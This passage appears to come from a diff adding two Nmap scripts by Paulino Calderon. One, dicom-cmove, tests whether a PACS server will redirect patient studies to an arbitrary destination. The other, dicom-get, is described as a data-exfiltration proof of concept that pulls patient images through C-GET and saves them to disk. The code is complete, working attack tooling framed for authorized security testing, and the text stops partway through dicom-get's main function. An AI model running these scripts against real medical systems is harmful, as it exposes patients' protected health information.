-- | Study 1.2.826...515 - Smith^Jane (PT_002)
-- | Status: SUCCESS (0x0000)
-- | Completed: 45 Failed: 0 Warning: 0
-- | WARNING: PACS pushed 45 instances to 'ATTACKER'
-- | Summary: 1/2 studies accepted C-MOVE redirection
-- | VULNERABILITY: Server redirects patient data to arbitrary AE titles
-- |_
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive"}
local shortport = require "shortport"
local stdnse = require "stdnse"
local nmap = require "nmap"
local string = require "string"
local math = require "math"
local dicom = require "dicom"
portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp",
"open")
-----------------------------------------------------------------------
-- HELPERS
-----------------------------------------------------------------------
local function get_arg(key, default)
return stdnse.get_script_args("dicom-cmove." .. key) or default
end
--- Translate a C-MOVE-RSP status code to a human-readable string.
-- References: PS3.4 Table C.4-2 (Move Service Status Values)
local function move_status_str(code)
if code == 0x0000 then return "SUCCESS"
elseif code == 0xFF00 then return "PENDING"
elseif code == 0xFF01 then return "PENDING (warnings)"
elseif code == 0xFE00 then return "CANCEL"
-- Failure statuses
elseif code == 0xA701 then
return "REFUSED - out of resources, unable to calculate number of matches"
elseif code == 0xA702 then
return "REFUSED - out of resources, unable to perform sub-operations"
elseif code == 0xA801 then return "REFUSED - move destination unknown"
elseif code == 0xA900 then
return "REFUSED - identifier does not match SOP Class"
elseif code == 0xC000 then return "FAILED - unable to process"
-- Warning statuses
elseif code == 0xB000 then
return "WARNING - sub-operations complete with failures"
-- Range-based statuses
elseif code >= 0xC000 and code <= 0xCFFF then
return string.format("FAILED - unable to process (0x%04X)", code)
elseif code >= 0xA000 and code <= 0xAFFF then
return string.format("REFUSED (0x%04X)", code)
else
return string.format("UNKNOWN (0x%04X)", code)
end
end
--- Classify a final status as accepted, refused, or error.
local function classify_status(code)
if code == 0x0000 then return "accepted" -- SUCCESS
elseif code == 0xB000 then return "accepted" -- WARNING (partial success)
elseif code >= 0xA000 and code <= 0xAFFF then return "refused"
elseif code >= 0xC000 and code <= 0xCFFF then return "failed"
elseif code == 0xFE00 then return "cancelled"
else return "unknown"
end
end
-----------------------------------------------------------------------
-- C-FIND DISCOVERY (reused from dicom-get pattern)
-----------------------------------------------------------------------
--- Discover studies via C-FIND.
-- @return list of {study_uid, patient_name, patient_id, modality, description}
local function discover_studies(host, port, called_ae, calling_ae, find_sop,
pat_name, pat_id, modality, max_pdu,
timeout_s, max_studies)
local ok, sock, pctxs, server_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae, {find_sop}, max_pdu, timeout_s)
if not ok then return nil, sock end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
return nil, "No accepted presentation context for C-FIND"
end
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
-- Build query
local query_tags = {
{group=0x0010, elem=0x0010, vr="PN", value=pat_name}, -- PatientName
{group=0x0010, elem=0x0020, vr="LO", value=pat_id}, -- PatientID
{group=0x0020, elem=0x000D, vr="UI", value=""},
-- StudyInstanceUID (return key)
{group=0x0008, elem=0x0061, vr="CS", value=modality}, -- ModalitiesInStudy
{group=0x0008, elem=0x1030, vr="LO", value=""}, -- StudyDescription
}
local cmd = dicom.build_cfind_rq(1, find_sop)
local ds = dicom.build_cfind_dataset("STUDY", query_tags, ts)
dicom.send_dimse(sock, pctx_id, cmd, ds, eff_max)
-- Collect responses
local studies = {}
local carry = ""
while true do
local pdu_type, cmd_elems, resp_ds, raw
pdu_type, cmd_elems, resp_ds, raw, carry = dicom.recv_dimse(sock,
timeout_s, carry)
if not pdu_type then break end
if pdu_type == dicom.PDU_CODES.ABORT then break end
if pdu_type ~= dicom.PDU_CODES.DATA then break end
local status = 0xFFFF
if cmd_elems and cmd_elems["0000,0900"] then
status = cmd_elems["0000,0900"].value
end
if status == dicom.STATUS.PENDING
or status == dicom.STATUS.PENDING_WARN then
if #resp_ds > 0 then
local elems = dicom.parse_dataset(resp_ds, ts)
if elems then
studies[#studies + 1] = {
study_uid = elems["0020,000D"] or "",
patient_name = elems["0010,0010"] or "",
patient_id = elems["0010,0020"] or "",
modality = elems["0008,0061"] or "",
description = elems["0008,1030"] or "",
}
if #studies >= max_studies then
stdnse.debug1("C-FIND: max_studies (%d) reached", max_studies)
break
end
end
end
elseif status == dicom.STATUS.SUCCESS then
break
else
break
end
end
dicom.do_release(sock, 3)
return studies
end
-----------------------------------------------------------------------
-- C-MOVE PROBE
-----------------------------------------------------------------------
--- Send C-MOVE-RQ for a study/series and monitor the response.
--
-- C-MOVE flow (PS3.4 C.4.2):
-- SCU sends C-MOVE-RQ with MoveDestination + identifier dataset
-- SCP opens NEW association to MoveDestination and sends C-STORE ops
-- SCP sends C-MOVE-RSP (PENDING) with progress counters
-- SCP sends C-MOVE-RSP (final) with SUCCESS/FAILURE/WARNING
--
-- We only monitor the C-MOVE-RSP messages on our association.
-- We do NOT receive the C-STORE sub-operations (those go to dest_ae).
--
-- @return result table with status info
local function do_cmove(host, port, called_ae, calling_ae, move_sop,
query_tags, level, dest_ae, max_pdu, timeout_s)
local result = {
status_code = nil,
status_str = "",
classification = "",
completed = 0,
failed = 0,
warning = 0,
remaining = 0,
error_msg = nil,
}
-- Only propose the C-MOVE SOP class (no storage classes needed --
-- the SCP opens a separate association to the destination for C-STORE)
local ok, sock, pctxs, server_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae, {move_sop}, max_pdu, timeout_s)
if not ok then
result.error_msg = tostring(sock)
return result
end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
result.error_msg = "No accepted presentation context for C-MOVE"
return result
end
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
-- Build C-MOVE-RQ command + identifier dataset
local cmd_bytes = dicom.build_cmove_rq(1, move_sop, dest_ae)
-- The identifier dataset is the same format as C-FIND/C-GET
local ds_bytes = dicom.build_cget_dataset(level, query_tags, ts)
stdnse.debug1("C-MOVE: sending RQ to move to '%s' via %s level=%s",
dest_ae, move_sop, level)
dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max)
-- Monitor C-MOVE-RSP messages
local carry = ""
local got_final = false
while true do
local pdu_type, cmd_elems, resp_ds, raw
pdu_type, cmd_elems, resp_ds, raw, carry =
dicom.recv_dimse(sock, timeout_s, carry)
if not pdu_type then
if not got_final then
result.error_msg = "Connection lost or timeout waiting for" ..
" C-MOVE-RSP: " ..
tostring(raw)
end
break
end
if pdu_type == dicom.PDU_CODES.ABORT then
result.error_msg = "Received A-ABORT during C-MOVE"
result.status_str = "ABORTED"
result.classification = "refused"
break
end
if pdu_type ~= dicom.PDU_CODES.DATA then
stdnse.debug1("C-MOVE: unexpected PDU 0x%02X", pdu_type)
break
end
local cmd_field = 0
if cmd_elems and cmd_elems["0000,0100"] then
cmd_field = cmd_elems["0000,0100"].value
end
if cmd_field == dicom.COMMAND_FIELD.C_MOVE_RSP then
local move_status = 0xFFFF
if cmd_elems["0000,0900"] then
move_status = cmd_elems["0000,0900"].value
end
-- Extract sub-operation counters (PS3.7 Table 9.1-5)
if cmd_elems["0000,1020"] then
result.remaining = cmd_elems["0000,1020"].value
end
if cmd_elems["0000,1021"] then
result.completed = cmd_elems["0000,1021"].value
end
if cmd_elems["0000,1022"] then
result.failed = cmd_elems["0000,1022"].value
end
if cmd_elems["0000,1023"] then
result.warning = cmd_elems["0000,1023"].value
end
if move_status == dicom.STATUS.PENDING
or move_status == dicom.STATUS.PENDING_WARN then
stdnse.debug2("C-MOVE: progress - %d completed, %d remaining, %d" ..
" failed",
result.completed, result.remaining, result.failed)
else
-- Final response
result.status_code = move_status
result.status_str = move_status_str(move_status)
result.classification = classify_status(move_status)
got_final = true
-- Check for error comment
if cmd_elems["0000,0902"] then
result.error_msg = tostring(cmd_elems["0000,0902"].value):gsub("%z",
""):gsub("%s+$", "")
end
stdnse.debug1("C-MOVE: final status 0x%04X (%s) - %d completed, %d" ..
" failed, %d warning",
move_status, result.status_str, result.completed, result.failed,
result.warning)
break
end
else
stdnse.debug1("C-MOVE: unexpected command field 0x%04X", cmd_field)
end
end
dicom.do_release(sock, 3)
return result
end
-----------------------------------------------------------------------
-- MAIN ACTION
-----------------------------------------------------------------------
action = function(host, port)
local called_ae = get_arg("called_ae", "ANY-SCP")
local calling_ae = get_arg("calling_ae", "NMAP-MOVE")
local dest_ae = get_arg("dest_ae", "YOURPACS")
local study_uid = get_arg("study_uid", nil)
local series_uid = get_arg("series_uid", nil)
local pat_name = get_arg("patient_name", "*")
local pat_id = get_arg("patient_id", "")
local modality = get_arg("modality", "")
local level = get_arg("level", "STUDY"):upper()
local max_studies = tonumber(get_arg("max_studies", "1"))
local timeout_s = tonumber(get_arg("timeout", "15"))
local max_pdu = tonumber(get_arg("max_pdu", "16384"))
local info_model = get_arg("info_model", "study"):lower()
local out = stdnse.output_table()
out["Target AE"] = called_ae
out["Calling AE"] = calling_ae
out["MoveDestination"] = dest_ae
-- Select Q/R SOP classes
local find_sop, move_sop
if info_model == "patient" then
find_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_FIND
move_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_MOVE
else
find_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_FIND
move_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_MOVE
end
-- == Phase 1: Discover studies (or use provided UID) ==
local studies = {}
if study_uid then
studies[#studies + 1] = {
study_uid = study_uid,
patient_name = "(specified)",
patient_id = "",
}
out["Studies"] = "1 (specified via study_uid)"
else
local found, err = discover_studies(host, port, called_ae, calling_ae,
find_sop, pat_name, pat_id, modality, max_pdu, timeout_s, max_studies)
if not found then
out["Error"] = "C-FIND discovery failed: " .. tostring(err)
return out
end
if #found == 0 then
out["Result"] = "No studies found (server may require specific AE" ..
" title or filter)"
return out
end
studies = found
out["Studies discovered"] = string.format("%d (via C-FIND)", #studies)
end
-- == Phase 2: Send C-MOVE-RQ for each study ==
local move_results = {}
local total_accepted = 0
local total_refused = 0
local total_failed = 0
local total_completed_subops = 0
for _, study in ipairs(studies) do
if study.study_uid == "" then goto next_study end
-- Build identifier tags for C-MOVE
local query_tags = {
{group=0x0020, elem=0x000D, vr="UI", value=study.study_uid},
}
local move_level = level
if series_uid and series_uid ~= "" then
query_tags[#query_tags + 1] =
{group=0x0020, elem=0x000E, vr="UI", value=series_uid}
move_level = "SERIES"
end
stdnse.debug1("C-MOVE: requesting move of study %s (%s) -> '%s'",
study.study_uid, study.patient_name, dest_ae)
local r = do_cmove(host, port, called_ae, calling_ae, move_sop,
query_tags, move_level, dest_ae, max_pdu, timeout_s)
r.study_uid = study.study_uid
r.patient_name = study.patient_name
r.patient_id = study.patient_id
move_results[#move_results + 1] = r
if r.classification == "accepted" then
total_accepted = total_accepted + 1
total_completed_subops = total_completed_subops + r.completed
elseif r.classification == "refused" then
total_refused = total_refused + 1
else
total_failed = total_failed + 1
end
::next_study::
end
-- == Output ==
local result_lines = {}
for _, r in ipairs(move_results) do
local short_uid = r.study_uid
if #short_uid > 40 then
short_uid = short_uid:sub(1, 20) .. "..." .. short_uid:sub(-16)
end
local line = string.format("Study %s - %s", short_uid, r.patient_name)
if r.patient_id ~= "" then
line = line .. string.format(" (%s)", r.patient_id)
end
result_lines[#result_lines + 1] = line
if r.error_msg and not r.status_code then
-- Connection/association error, no C-MOVE-RSP received
result_lines[#result_lines + 1] = string.format(" Error: %s",
r.error_msg)
elseif r.status_code then
result_lines[#result_lines + 1] = string.format(
" Status: %s", r.status_str)
result_lines[#result_lines + 1] = string.format(
" Completed: %d Failed: %d Warning: %d",
r.completed, r.failed, r.warning)
if r.error_msg then
result_lines[#result_lines + 1] = string.format(
" Error comment: %s", r.error_msg)
end
if r.classification == "accepted" and r.completed > 0 then
result_lines[#result_lines + 1] = string.format(
" WARNING: PACS pushed %d instances to '%s'",
r.completed, dest_ae)
end
end
end
out["C-MOVE Results"] = result_lines
-- Summary
local total = #move_results
if total > 0 then
out["Summary"] = string.format(
"%d/%d studies: %d accepted, %d refused, %d errored",
total_accepted, total, total_accepted, total_refused, total_failed)
end
-- Vulnerability assessment
if total_accepted > 0 then
if total_completed_subops > 0 then
out["VULNERABILITY"] = string.format(
"Server redirected %d instances to arbitrary AE '%s' - " ..
"data exfiltration via C-MOVE confirmed",
total_completed_subops, dest_ae)
else
out["VULNERABILITY"] = string.format(
"Server accepted C-MOVE to '%s' (0 sub-ops completed - " ..
"destination may be unreachable but redirection was attempted)",
dest_ae)
end
elseif total_refused > 0 and total_accepted == 0 then
-- All refused - check if it's because destination is unknown
local all_dest_unknown = true
for _, r in ipairs(move_results) do
if r.status_code ~= 0xA801 then
all_dest_unknown = false
break
end
end
if all_dest_unknown then
out["Note"] = string.format(
"C-MOVE refused: destination '%s' is unknown to the PACS. " ..
"The server validates MoveDestination against its modality list. " ..
"Try a known AE title (e.g. the server's own AE) to confirm" ..
" redirection.",
dest_ae)
else
out["Note"] = "C-MOVE was refused by the server. See status codes above."
end
end
nmap.set_port_state(host, port, "open")
port.version.name = "dicom"
port.version.product = "DICOM SCP"
nmap.set_port_version(host, port, "hardmatched")
return out
end

655
scripts/dicom-get.nse Normal file
View file

@ -0,0 +1,655 @@
description = [[
DICOM C-GET image retrieval and data exfiltration proof-of-concept.
Downloads DICOM instances (images, reports, structured reports) from a PACS
via C-GET, saving them to disk as .dcm files. This demonstrates the real-world
impact of an exposed DICOM Q/R service: not just that patient data is visible
(as shown by dicom-cfind-ls), but that it can be fully exfiltrated.
The workflow mirrors what a legitimate DICOM SCU does:
1. C-FIND at STUDY level to discover studies (or use a known
StudyInstanceUID)
2. C-GET at STUDY/SERIES/IMAGE level to retrieve instances
3. For each instance, the SCP sends a C-STORE sub-operation on the same
association; this script acts as a mini-SCP, receiving and saving each
file
C-GET is preferred over C-MOVE because it works on the same association --
no need for the target to connect back to us, and no need for our AE to be
registered in the PACS modality list.
Downloaded files retain the original DICOM dataset bytes and are valid .dcm
files (with a Part 10 header prepended) that can be opened in any DICOM
viewer (Horos, RadiAnt, MicroDicom, etc.).
WARNING: This is an intrusive script. It downloads actual patient data
(PHI/PII)
from the target PACS. Only use against systems for which you have explicit
written authorisation. Downloaded files must be handled according to applicable
data protection regulations (HIPAA, GDPR, etc.).
Requires the dicom.lua library (place in nselib/ or same directory).
]]
---
-- @usage
-- nmap -p 4242 --script dicom-get \
-- --script-args 'dicom-get.called_ae=ORTHANC,dicom-get.calling_ae=LAUNCHER,dicom-get.save=/tmp/exfil' <target>
--
-- @usage
-- # Retrieve a specific study by UID
-- nmap -p 4242 --script dicom-get \
-- --script-args 'dicom-get.called_ae=ORTHANC,dicom-get.study_uid=1.2.3.4.5,dicom-get.save=/tmp/exfil' <target>
--
-- @usage
-- # Retrieve only 3 studies, up to 5 instances each
-- nmap -p 4242 --script dicom-get \
-- --script-args 'dicom-get.called_ae=ORTHANC,dicom-get.max_studies=3,dicom-get.max_instances=5,dicom-get.save=/tmp/exfil' <target>
--
-- @args dicom-get.called_ae Target AE Title (default: "ANY-SCP")
-- @args dicom-get.calling_ae Our AE Title (default: "NMAP-GET")
-- @args dicom-get.save Directory to save retrieved .dcm files
-- (REQUIRED)
-- @args dicom-get.study_uid Specific StudyInstanceUID to retrieve
-- (default: discover via C-FIND)
-- @args dicom-get.series_uid Specific SeriesInstanceUID to retrieve
-- (requires study_uid)
-- @args dicom-get.patient_name Patient name filter for C-FIND discovery
-- (default: "*")
-- @args dicom-get.patient_id Patient ID filter for C-FIND discovery
-- (default: "")
-- @args dicom-get.modality Modality filter for C-FIND discovery
-- (default: "")
-- @args dicom-get.level Retrieval level: "STUDY", "SERIES", "IMAGE"
-- (default: "STUDY")
-- @args dicom-get.max_studies Max studies to retrieve (default: 5)
-- @args dicom-get.max_instances Max instances per study (default: 50)
-- @args dicom-get.timeout DIMSE timeout in seconds (default: 30)
-- @args dicom-get.max_pdu Max PDU Length (default: 16384)
-- @args dicom-get.info_model Q/R information model: "study" or "patient"
-- (default: "study")
-- @args dicom-get.part10 Prepend DICOM Part 10 header to saved files
-- (default: true)
--
-- @output
-- PORT STATE SERVICE
-- 4242/tcp open dicom
-- | dicom-get:
-- | Target AE: ORTHANC Calling AE: LAUNCHER
-- | Studies discovered: 2 (via C-FIND)
-- | Retrieved:
-- | Study 1.2.826...514 - Doe^John (PT_STRATIGOS_EC2_001)
-- | Saved: 101 instances (12.4 MB)
-- | Study 1.2.826...514 - Doe, John (1)
-- | Saved: 101 instances (12.4 MB)
-- | Total: 202 instances, 24.8 MB saved to /tmp/exfil
-- | WARNING: Patient data downloaded without authentication
-- |_
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive"}
local shortport = require "shortport"
local stdnse = require "stdnse"
local nmap = require "nmap"
local string = require "string"
local math = require "math"
local dicom = require "dicom"
portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp",
"open")
-----------------------------------------------------------------------
-- HELPERS
-----------------------------------------------------------------------
local function get_arg(key, default)
return stdnse.get_script_args("dicom-get." .. key) or default
end
--- Format bytes into human-readable size.
local function fmt_bytes(n)
if n < 1024 then return string.format("%d B", n) end
if n < 1024 * 1024 then return string.format("%.1f KB", n / 1024) end
return string.format("%.1f MB", n / (1024 * 1024))
end
--- Build a DICOM Part 10 file header (preamble + DICM + File Meta).
-- @param sop_class SOP Class UID
-- @param sop_instance SOP Instance UID
-- @param ts_uid Transfer Syntax UID
-- @return Part 10 header bytes
local function build_part10_header(sop_class, sop_instance, ts_uid)
ts_uid = ts_uid or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
-- File Meta is always Explicit VR Little Endian
local function meta_elem(group, elem, vr, val)
local tag = string.pack("<I2 I2", group, elem)
if vr == "OB" or vr == "OW" or vr == "SQ" or vr == "UN" then
local padded = val
if #padded % 2 ~= 0 then padded = padded .. "\x00" end
return tag .. vr .. "\x00\x00" .. string.pack("<I4", #padded) .. padded
else
local padded = val
if (vr == "UI" or vr == "SH" or vr == "LO") and #padded % 2 ~= 0 then
padded = padded .. "\x00"
end
return tag .. vr .. string.pack("<I2", #padded) .. padded
end
end
-- Build group 0002 elements (excluding 0002,0000 GroupLength)
local meta = ""
meta = meta .. meta_elem(0x0002, 0x0001, "OB",
"\x00\x01") -- FileMetaInformationVersion
meta = meta .. meta_elem(0x0002, 0x0002, "UI",
sop_class) -- MediaStorageSOPClassUID
meta = meta .. meta_elem(0x0002, 0x0003, "UI",
sop_instance) -- MediaStorageSOPInstanceUID
meta = meta .. meta_elem(0x0002, 0x0010, "UI", ts_uid) -- TransferSyntaxUID
meta = meta .. meta_elem(0x0002, 0x0012, "UI",
dicom.IMPL_CLASS_UID) -- ImplementationClassUID
meta = meta .. meta_elem(0x0002, 0x0013, "SH",
dicom.IMPL_VERSION) -- ImplementationVersionName
-- GroupLength (0002,0000) = total length of the rest of group 0002
local group_len = meta_elem(0x0002, 0x0000, "UL", string.pack("<I4", #meta))
-- 128-byte preamble + "DICM" + File Meta
return string.rep("\x00", 128) .. "DICM" .. group_len .. meta
end
-----------------------------------------------------------------------
-- C-FIND DISCOVERY
-----------------------------------------------------------------------
--- Discover studies via C-FIND.
-- @return list of {study_uid, patient_name, patient_id, modality, description}
local function discover_studies(host, port, called_ae, calling_ae, find_sop,
pat_name, pat_id, modality, max_pdu,
timeout_s, max_studies)
local ok, sock, pctxs, server_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae, {find_sop}, max_pdu, timeout_s)
if not ok then return nil, sock end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
return nil, "No accepted presentation context for C-FIND"
end
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
-- Build query
local query_tags = {
{group=0x0010, elem=0x0010, vr="PN", value=pat_name}, -- PatientName
{group=0x0010, elem=0x0020, vr="LO", value=pat_id}, -- PatientID
{group=0x0020, elem=0x000D, vr="UI", value=""},
-- StudyInstanceUID (return key)
{group=0x0008, elem=0x0061, vr="CS", value=modality}, -- ModalitiesInStudy
{group=0x0008, elem=0x1030, vr="LO", value=""}, -- StudyDescription
}
local cmd = dicom.build_cfind_rq(1, find_sop)
local ds = dicom.build_cfind_dataset("STUDY", query_tags, ts)
dicom.send_dimse(sock, pctx_id, cmd, ds, eff_max)
-- Collect responses
local studies = {}
local carry = ""
while true do
local pdu_type, cmd_elems, resp_ds, raw
pdu_type, cmd_elems, resp_ds, raw, carry = dicom.recv_dimse(sock,
timeout_s, carry)
if not pdu_type then break end
if pdu_type == dicom.PDU_CODES.ABORT then break end
if pdu_type ~= dicom.PDU_CODES.DATA then break end
local status = 0xFFFF
if cmd_elems and cmd_elems["0000,0900"] then
status = cmd_elems["0000,0900"].value
end
if status == dicom.STATUS.PENDING
or status == dicom.STATUS.PENDING_WARN then
if #resp_ds > 0 then
local elems = dicom.parse_dataset(resp_ds, ts)
if elems then
studies[#studies + 1] = {
study_uid = elems["0020,000D"] or "",
patient_name = elems["0010,0010"] or "",
patient_id = elems["0010,0020"] or "",
modality = elems["0008,0061"] or "",
description = elems["0008,1030"] or "",
}
if #studies >= max_studies then
stdnse.debug1("C-FIND: max_studies (%d) reached", max_studies)
break
end
end
end
elseif status == dicom.STATUS.SUCCESS then
break
else
break
end
end
dicom.do_release(sock, 3)
return studies
end
-----------------------------------------------------------------------
-- C-GET RETRIEVAL
-----------------------------------------------------------------------
--- Retrieve instances via C-GET for a single study/series.
-- The SCP sends C-STORE sub-operations on the same association.
-- This script acts as a mini-SCP: receive each C-STORE, save to disk, send
-- C-STORE-RSP.
--
-- @param host, port Nmap host/port objects
-- @param called_ae Called AE Title
-- @param calling_ae Calling AE Title
-- @param get_sop Q/R GET SOP Class UID
-- @param query_tags Tags identifying what to retrieve
-- @param level Q/R level ("STUDY", "SERIES", "IMAGE")
-- @param max_pdu Max PDU length
-- @param timeout_s Timeout in seconds
-- @param save_dir Directory to save .dcm files
-- @param max_instances Max instances to save (0 = unlimited)
-- @param add_part10 Prepend Part 10 header
-- @return saved_count, total_bytes, error_count, file_list
local function do_cget(host, port, called_ae, calling_ae, get_sop,
query_tags, level, max_pdu, timeout_s, save_dir,
max_instances, add_part10)
-- We need to propose both the C-GET SOP class AND storage SOP classes
-- that the SCP will use for C-STORE sub-operations.
-- Propose a broad set of storage classes so we can receive any modality.
local storage_sops = {
dicom.SOP_CLASS.CT_IMAGE_STORAGE,
dicom.SOP_CLASS.MR_IMAGE_STORAGE,
dicom.SOP_CLASS.SECONDARY_CAPTURE,
dicom.SOP_CLASS.ENHANCED_CT_STORAGE,
dicom.SOP_CLASS.PET_IMAGE_STORAGE,
dicom.SOP_CLASS.RT_DOSE_STORAGE,
dicom.SOP_CLASS.RT_PLAN_STORAGE,
"1.2.840.10008.5.1.4.1.1.6.1", -- US Image Storage
"1.2.840.10008.5.1.4.1.1.1", -- CR Image Storage
"1.2.840.10008.5.1.4.1.1.1.1", -- Digital X-Ray (DX)
"1.2.840.10008.5.1.4.1.1.1.2", -- Digital Mammography
"1.2.840.10008.5.1.4.1.1.20", -- NM Image Storage
"1.2.840.10008.5.1.4.1.1.12.1", -- X-Ray Angiographic
"1.2.840.10008.5.1.4.1.1.4.1", -- Enhanced MR
"1.2.840.10008.5.1.4.1.1.128.1", -- Enhanced PET
"1.2.840.10008.5.1.4.1.1.104.1", -- Encapsulated PDF
"1.2.840.10008.5.1.4.1.1.88.11", -- Basic Text SR
"1.2.840.10008.5.1.4.1.1.88.22", -- Enhanced SR
"1.2.840.10008.5.1.4.1.1.88.33", -- Comprehensive SR
"1.2.840.10008.5.1.4.1.1.481.1", -- RT Image
"1.2.840.10008.5.1.4.1.1.481.3", -- RT Structure Set
"1.2.840.10008.5.1.4.1.1.7.1", -- Multi-frame SC (Byte)
"1.2.840.10008.5.1.4.1.1.7.2", -- Multi-frame SC (Word)
"1.2.840.10008.5.1.4.1.1.7.3", -- Multi-frame SC (True Color)
"1.2.840.10008.5.1.4.1.1.7.4", -- Multi-frame SC (Grayscale)
}
-- Build combined SOP list: C-GET SOP first, then storage SOPs
local all_sops = {get_sop}
-- Deduplicate
local seen = {[get_sop] = true}
for _, sop in ipairs(storage_sops) do
if not seen[sop] then
seen[sop] = true
all_sops[#all_sops + 1] = sop
end
end
-- Request SCP/SCU role reversal on the storage SOP classes so the server
-- will push retrieved instances back to us as C-STORE sub-operations
-- (mandatory for C-GET, PS3.7 §D.3.3.4).
local roles = {}
for _, sop in ipairs(storage_sops) do
roles[#roles + 1] = { uid = sop, scu = false, scp = true }
end
local ok, sock, pctxs, server_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae, all_sops, max_pdu, timeout_s, nil,
roles)
if not ok then
return 0, 0, 0, {}, tostring(sock)
end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
return 0, 0, 0, {}, "No accepted presentation context for C-GET"
end
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
-- Build and send C-GET-RQ
local cmd_bytes = dicom.build_cget_rq(1, get_sop)
local ds_bytes = dicom.build_cget_dataset(level, query_tags, ts)
dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max)
-- Receive loop: handle C-STORE sub-operations from the SCP
local saved = 0
local errors = 0
local total_bytes = 0
local files = {}
local carry = ""
local limit_reached = false
while true do
local pdu_type, cmd_elems, resp_ds, raw, in_pctx
pdu_type, cmd_elems, resp_ds, raw, carry, in_pctx =
dicom.recv_dimse(sock, timeout_s, carry)
-- Context to reply on for C-STORE sub-operations: the one the sub-op
-- arrived on (falls back to the C-GET context if unknown).
local store_pctx = in_pctx or pctx_id
if not pdu_type then
stdnse.debug1("C-GET recv error: %s", tostring(raw))
break
end
if pdu_type == dicom.PDU_CODES.ABORT then
stdnse.debug1("C-GET: received A-ABORT")
break
end
if pdu_type ~= dicom.PDU_CODES.DATA then
stdnse.debug1("C-GET: unexpected PDU 0x%02X", pdu_type)
break
end
local cmd_field = 0
if cmd_elems and cmd_elems["0000,0100"] then
cmd_field = cmd_elems["0000,0100"].value
end
if cmd_field == dicom.COMMAND_FIELD.C_STORE_RQ then
-- Incoming C-STORE sub-operation
local sop_class = ""
if cmd_elems["0000,0002"] then
sop_class = tostring(cmd_elems["0000,0002"].value):gsub("%z",
""):gsub("%s+$", "")
end
local sop_instance = ""
if cmd_elems["0000,1000"] then
sop_instance = tostring(cmd_elems["0000,1000"].value):gsub("%z",
""):gsub("%s+$", "")
end
if sop_instance == "" then sop_instance = dicom.generate_fake_uid() end
local msg_id_rsp = 1
if cmd_elems["0000,0110"] then
msg_id_rsp = cmd_elems["0000,0110"].value
end
-- Determine the transfer syntax used for this C-STORE
-- The SCP uses the negotiated TS for the presentation context it chose
local store_ts = dicom.get_accepted_ts(pctxs, store_pctx) or ts
-- Save file
if max_instances > 0 and saved >= max_instances then
-- We've reached our limit; still send RSP to be polite
if not limit_reached then
stdnse.debug1("C-GET: max_instances (%d) reached, skipping saves",
max_instances)
limit_reached = true
end
local rsp_cmd = dicom.build_cstore_rsp(msg_id_rsp, sop_class,
sop_instance)
dicom.send_dimse(sock, store_pctx, rsp_cmd, nil, eff_max)
else
local filename = sop_instance:gsub("[^%w%.]", "_") .. ".dcm"
local filepath = save_dir:gsub("[/\\]+$", "") .. "/" .. filename
local file_data
if add_part10 and resp_ds and #resp_ds > 0 then
file_data = build_part10_header(sop_class, sop_instance, store_ts)
.. resp_ds
else
file_data = resp_ds or ""
end
local wok, werr = dicom.write_file(filepath, file_data)
if wok then
saved = saved + 1
total_bytes = total_bytes + #file_data
files[#files + 1] = {
filename = filename,
sop_class = sop_class,
sop_instance = sop_instance,
size = #file_data,
}
stdnse.debug1("C-GET: saved %s (%s)", filename,
fmt_bytes(#file_data))
else
errors = errors + 1
stdnse.debug1("C-GET: save failed: %s", tostring(werr))
end
-- Send C-STORE-RSP (SUCCESS)
local rsp_cmd = dicom.build_cstore_rsp(msg_id_rsp, sop_class,
sop_instance)
dicom.send_dimse(sock, store_pctx, rsp_cmd, nil, eff_max)
end
elseif cmd_field == dicom.COMMAND_FIELD.C_GET_RSP then
-- C-GET-RSP: check status
local cget_status = 0xFFFF
if cmd_elems["0000,0900"] then
cget_status = cmd_elems["0000,0900"].value
end
-- Extract progress counters if available
local remaining = 0
local completed = 0
if cmd_elems["0000,1020"] then
remaining = cmd_elems["0000,1020"].value
end
if cmd_elems["0000,1021"] then
completed = cmd_elems["0000,1021"].value
end
if cget_status == dicom.STATUS.PENDING
or cget_status == dicom.STATUS.PENDING_WARN then
stdnse.debug2("C-GET: progress %d completed, %d remaining", completed,
remaining)
else
stdnse.debug1("C-GET: final status 0x%04X (%d completed)", cget_status,
completed)
break
end
else
stdnse.debug1("C-GET: unexpected command field 0x%04X", cmd_field)
end
end
dicom.do_release(sock, 3)
return saved, total_bytes, errors, files
end
-----------------------------------------------------------------------
-- MAIN ACTION
-----------------------------------------------------------------------
action = function(host, port)
local called_ae = get_arg("called_ae", "ANY-SCP")
